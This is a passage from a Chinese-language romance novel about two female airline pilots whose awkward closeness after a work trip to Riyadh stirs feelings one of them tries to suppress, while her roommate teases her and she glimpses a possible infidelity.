利雅得2018年允许女性开车,她们聪慧,上手极快,不少人调侃,女司机甚至比男司机还猛。在高速公路,时常可以瞧见越野车把你超了,定睛细看,正是戴墨镜,泰然自若的女司机。
司机挑眉:“我懂,我懂。”
“别,别啊,我们只是同事。”虞颂恩着急解释,却发现何汀竟然若无其事,甚至盯着司机拍的照片瞧,抬手戳她肩膀,“干嘛?天大的误会,你也不说两句?”
“清者自清。”何汀把手机还给司机,信步往对面崖边走。
“你这人,关键时候成哑巴。”虞颂恩白她一眼,转过身继续唠叨,“小姐姐,虽然你好心,但话不能乱说,这张照片咱们就删了吧。”
“她对象另有其人,我可不想当小三。”
.......
“唉,终于解决了。”虞颂恩抬头张望,寻到不远处何汀的身影,看她正捧着单反拍遛鹰老人,快步过去。
她中午在市场买的长裙,穿着拍照,这会儿走路却束缚腿脚。还是裤子方便,虞颂恩嘀咕着,已经走到何汀身侧。她们前方坐在崖边的老人着深色长袍,戴头巾,左手执着一只羽毛雪白的老鹰。
虞颂恩瞧何汀已经拍完照,问她:“怎么样?给我看看。”
何汀唇边的笑容温暖:“应该还不错。”
虞颂恩点开相册,只见画面中,老人与鹰在近处,远处连绵起伏的断崖,被夕阳烘烤,尽显苍凉和宏伟。
她不禁纳罕:“天赋异禀啊。”
“
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老师教得好。”
虞颂恩甚至怀疑何汀故意藏拙,然而接下来的两张却彻底消除她的困惑。
这张糊的,这张位置不对,老人坐的地毯也不在同一条水平线。
何汀笑容更甚:“我知错。”
“你笑什么?”
“至少有一张成品得到你的夸奖。”
“再接再厉吧。”虞颂恩塞给她相机,抬脚朝崖顶走,“先去排队,不然待会儿就要摸黑走回停车场。”
日暮时分,天空仿若被画家泼染了灿金色的颜料,随着时间流逝,层层晕开。虞颂恩不知,转身的瞬间,何汀端着单反,抓拍到她与晚霞相得益彰的背影。
太阳落山后,天黑得快,连同司机,一行三人坐进车厢,伸出头望天,已经能瞧见零散的星星。
司机提醒:“坐稳咯。”
碎石路颠簸,她们拽着头顶的拉手,身体随着车厢起伏。后半程,越野车穿过戈壁滩,行驶在水泥路,虞颂恩实在抵不过困意,无知无觉睡去。
“睡醒了吗?快到了。”
迷迷糊糊间,耳朵发痒,好似何汀的声音。她睁眼,仰头就看见咫尺相隔的脸。
脑袋似乎枕着何汀的肩膀,虞颂恩懵怔数秒,视线移动,她怎么还抱着对方胳膊!
“啊?啊!”
虞颂恩内心呐喊,表面强装镇定,慢悠悠撤离何汀的肩膀。
“谢谢啊。”
“没关系,同事嘛,可以这样。”
“嗯。”越野车在酒店门外停稳,虞颂恩火速解开安全带下车。怎知夜风徐徐,鼻息间暗香浮动......
15. chapter 15
虞颂恩辗转难眠,可能因为那句话,也可能因为脑海中总是无缘无故出现何汀的身影。她不是三岁小孩,知道自己的举动反常,讨厌这种不可控,被情绪左右的感觉。
她会忍不住回忆过去的点点滴滴,醉酒时趴在何汀后背嘟囔,生病时拽着何汀的手不让她走,还有情潮翻涌时的触感以及何汀真实的反馈......
好像自打对方回来后,她不止一次这样了......
第二天,意料之中起得晚,虞颂恩点开手机,微信未读消息依旧来自某位阴魂不散的同事。
【今天多睡了会儿,没晨跑。】
干嘛给她报备?意识苏醒,虞颂恩记起是自己让何汀叫她。
不想回消息,但觉得不礼貌,她指尖在屏幕缓慢移动:【正好我头痛。】
她扔掉手机闭着眼打盹儿,不多时,耳边依稀响起敲门声。
谁扰人清梦?
虞颂恩总算离开被窝,走去门后,透过猫眼观察。
怎么又是她?
虞颂恩不情不愿开门,正想问她做什么,何汀先说:“我带的药,应该管用。”
是不是过于上心了?难以言喻的情绪在发酵,虞颂恩没回话,气氛比人先察觉到尴尬。
何汀递给她药,笑容依旧:“快去休息吧,我先走了。”
她转身往隔壁房间去,虞颂恩心口发胀,在何汀刷卡前,轻轻提了口气,“谢谢。”
何汀偏头看她,微愣了数秒,随即展颜:“别着凉,明晚我来飞。”
房门掩住,虞颂恩倚着墙,垂眸看着手心的胶囊,眉头越拧越紧。困扰似乎在无限循环,重回原点,她问自己,会不会减少接触,一切都能迎刃而解?
回国后,她们接连两天带组飞往不同的城市,生活和工作再无交叠。何汀没再主动找她,她却还会在某些时刻恍惚。
羊城返回北城的航班,虞颂恩已经接通自动驾驶,副驾突然说:“虞姐,要不要申请上到1800?”
“管制刚提醒另一架飞机在1800有相对,你确定现在上升?”
何汀就不会犯这种错误。
冷静,耐心,副驾还是新手,目前刚转F1阶段没两月,细节问题可能考虑不够周到。
傍晚落地北城,魏莱心血来潮煎牛排给她洗尘,她却盯着餐盘发呆。
魏莱伸手在她眼前晃:“怎么不吃啊?”
“卖相一般。”虞颂恩回过神,拿着手边的刀叉切肉,眉间风云密布。
“哎呀,我厨艺本来就不好,能吃就行。”
虞颂恩和她较起真:“煎太久,表面有点糊,应该先开小火,控制火候,翻面再换中火。”
魏莱揣摩她的语气,观察神色,瞬间明白过来,激动时说起家乡话:“哎呀妈呀,你咋怪怪的,我瞅着有点不对啊。”
虞颂恩拿刀的手微抖:“什么?”
“你和那些小姐姐小妹妹分手都没眨眼睛,我捋一捋啊,除夕出差前还好好的,怎么去一趟利雅得就变成这样?”
“是不是何机长?你又和她睡了?”
虞颂恩顿时变脸:“胡说八道什么?”
魏莱愈发来劲,眯着眼笑:“看,我提她你就急。”
虞颂恩强拽着被她三言两句拉扯的神经:“她有女朋友,你乱说,我能不急吗?”
魏莱看热闹不嫌事大:“感情的事哪能控制啊?柯妤就是例子,她和你好的时候,谁会想到她要出轨?还有秦菲,听说她在空管中心名声贼好,工作狂,还是什么鸿雁班组组长。”
虞颂恩战术性喝水:“这是底线。”
“底线能当饭吃?”
虞颂恩不动声色掩盖住乱糟糟的心绪,开始反击:“魏莱,你一个恋爱经验为0的人,指导我什么?”
她一改先前
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哑口无言的状态:“我和她们不一样。”毕竟对方不符合她的择偶标准。
她曾经想知道为什么会接二连三做那些令人遐想的梦,为什么会在和前任亲密时出现不合时宜的画面,试图验证她对何汀是不是生理性喜欢。
然而何汀与秦菲复合,她自然不愿主动越界。
魏莱叹气:“好吧,现实果然没有电视剧狗血。”
虞颂恩瞪她:“神经啊,电视剧肯定会加强戏剧效果。”
“唉,看来你已经回归正常,我没瓜吃啦。”
“没瓜吃就吃肉,我去取快递。”虞颂恩端着餐盘起身。
“我也有,微信发你,就两小件。”
北城的正月气温转暖,即便傍晚也不用再穿厚重的羽绒服。虞颂恩披着羊绒外套拐出小区南门,快步走进临街的驿站。
三大件,三小件。
快递小妹提醒她:“记得拍照。”
幸好拿着编织袋,虞颂恩把快递尽数装进袋子,拖着东西往外去。
真沉啊。
虞颂恩常年健身,看着不壮,偏瘦,臂膀却有力。她抓着两边系带,毫不迟疑往上抬,将装满快递的编织袋扛在肩头。
挺不雅观,但省力。
她刚走两步,却发现对面街边两道熟悉的身影。
秦菲,柯妤?
柯妤斜挎着单肩包低头刷手机,看包的样式,不是她的风格,大概帮秦菲拎包。
虞颂恩理清逻辑,瞬间怜惜另一个无辜的人。
怎么没出正月,何汀又被绿了?
还是说,柯妤和秦菲从头到尾就没分手,都是何汀单方面的意愿,死缠烂打?
以她对何汀的了解,应该不至于,但又为什么珍藏和秦菲的合照?
思绪万千,虞颂恩无知无觉走到单元楼,正要进大厅,却听见何汀的声音从不远处传来:“需要我帮忙吗?”